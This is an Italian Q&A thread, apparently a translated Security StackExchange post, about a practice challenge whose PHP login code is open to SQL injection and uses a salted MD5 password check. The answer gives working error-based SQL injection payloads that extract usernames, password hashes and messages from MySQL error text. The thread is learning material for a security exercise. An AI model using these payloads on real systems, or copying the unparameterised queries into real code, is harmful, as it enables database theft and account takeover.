Sfruttare la vulnerabilità MD5 / sale in questo modulo PHP?

4

Ho praticato materie relative alla sicurezza e questa sfida mi ha confuso. Nota: non posso accedere a nessun codice sorgente PHP, né posso modificarlo. Sono solo in grado di vederlo.

È indicato quanto segue:

  1. Ho due input, "user" e "pass"
  2. Dopo 30 volte il modulo viene inviato, il sale, gli hash e la soluzione finale cambiano. Quindi bruteforce non è un'opzione (purtroppo!)
  3. @ La parte inferiore della pagina (non mostrata nel codice per qualche motivo), echos che ha trovato 9 users (chiamando la funzione getnumberofusers ())

Sono riuscito a estrarlo:

username = root

password hash = 551e18b35e17017742a8ce4ed27f626e

Token (forse salt?) = 0St31ez14wOT6jTh

Quello che ho tentato finora con risultati non riusciti:

  • Utilizzando SQL injection, seleziona una collisione MD5 nota come password e invia la sua controparte come " pass ", tuttavia il sale sta disturbando questo processo. Chiaramente non potrei fare bruteforce perché dopo 30 tentativi il sale cambierebbe.
    • Ho provato a trovare l'intero elenco di utenti, ma non stampa l'output ovunque (solo errori)

Questo è il codice che riceviamo:

<?php
//by Mawekl
//Objective: login as root.
//Objective is NOT:
// - Blind SQLI
// - Bruteforce password/salt/id

#WARNING
#ANTI-BLIND
#for every 30 queries
#all hashes, salt
#and final solution
#will be reset.

function getnumberofusers()
{
    $q = "SELECT 1 FROM 'sqlinjection1'";
    $r = mysql_query($q);
    return 'Number of users: '  . mysql_num_rows($r);
}

function getinfo($user)
{
    $q = "SELECT 'id', 'password' FROM 'sqlinjection1' WHERE 'username'='$user'";
    $r = mysql_query($q);
    if(!$r)
        return mysql_error();
    $r = mysql_fetch_array($r);
    if(!$r)
        return "Username doesn't exists.";
    return $r;
}

function getfullinfo($id)
{
    $q = "SELECT * FROM 'sqlinjection1' WHERE 'id'=$id";
    $r = mysql_query($q);
    if(!$r)
        return mysql_error();
    $r = mysql_fetch_array($r);
    if(!$r)
        return "What the hell?!";
    return $r;
}

function confirmpassword($pass, $passcorrect, $salt)
{
    $pass = md5(md5(md5($pass)).$salt);
    return $pass===$passcorrect;
}

function challenge($user, $pass)
{
    $info = getinfo($user);
    if(!is_array($info))
        return $info;
    $confirm = confirmpassword($pass, $info['password'], $_ENV['ST_SALT']);
    if(!$confirm)
        return 'Wrong password!';
    $info = getfullinfo($info['id']);
    if(!is_array($info))
        return $info;
    $returnmessage = "Welcome " . $info['username'] . "!" . PHP_EOL .
    $info['welcomemessage'] . PHP_EOL;
    return $returnmessage;
}

?>

Qualsiasi aiuto è apprezzato e, se hai qualche domanda, mi piacerebbe chiarire la mia domanda!

    
posta Tom 13.06.2016 - 10:06
fonte

1 risposta

2

Dal codice sorgente possiamo vedere che sqlinjection1 ha quattro colonne note username,password,welcomemessage,id .

Dato che le persone hanno indicato in commnets, possiamo utilizzare l'injection Sql basato su errori per ottenere nomi utente, password, welcomemessage, id ecc.

Pubblica sotto i parametri in sqli

$ user = 1' or exp(~(select * from (select concat_ws(':',username,password,welcomemessage,id) from sqlinjection1 limit 1)a)) or '1'='1

$ pass = something

L'errore è stampato

'DOUBLE value is out of range in &#39;exp(~((select &#39;user1:pass1:secret message:1&#39; from dual)))&#39;

Quindi username = user1, password = pass1, welcomemessage = messaggio segreto e id = 1

Ora possiamo ottenere la lista del prossimo utente usando

$ user = 1' or exp(~(select * from (select concat_ws(':',username,password,welcomemessage,id) from sqlinjection1 where username!='user1' limit 1)a)) or '1'='1

$ pass = something

Analogamente per gli altri utenti, modifica la clausola where ed esegui ..

Possiamo selezionare una singola colonna per un singolo utente semplicemente usando

$ user = 1' or exp(~(select * from (select welcomemessage from sqlinjection1 where username='user1')a)) or '1'='1

    
risposta data 13.06.2016 - 11:48
fonte

Leggi altre domande sui tag